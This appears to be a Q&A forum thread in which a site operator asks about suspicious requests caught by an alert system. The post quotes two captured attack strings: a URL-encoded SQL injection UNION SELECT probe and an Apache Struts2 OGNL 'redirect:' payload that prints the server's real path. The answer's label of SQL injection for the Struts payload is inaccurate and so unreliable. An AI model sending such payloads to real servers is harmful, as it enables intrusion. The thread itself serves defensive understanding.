0

I've recently seen a few strange requests made on our site, I'm wondering what they might be.

Normally we get sql injection attempts like this:

1111111111%22%20UNION%20SELECT%20CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CH

While I'm no expert, I loosely understand the gist of what's happening there.

But recently I've started noticing ones like this:

redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().g`etRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()} 

I've never seen anything like that before. I googled it and it seems to related to Apache struts, but I didn't fully understand most of the results (see shot below).

I'm not too sure about the tags for this question - if they can be improved, please do so. Thanks.

enter image description here

  • Are these lines taken from server logs? – user56893 May 12 '15 at 21:13
  • No, I've set up a warning system that alerts me if any fishy form or querystring data is posted – Martin Hansen Lennox May 12 '15 at 21:26
4

It looks like someone is trying exploit an SQL injection vulnerability in struts2 in order to perform remote code execution. See http://struts.apache.org/docs/s2-016.html

Not the answer you're looking for? Browse other questions tagged or ask your own question.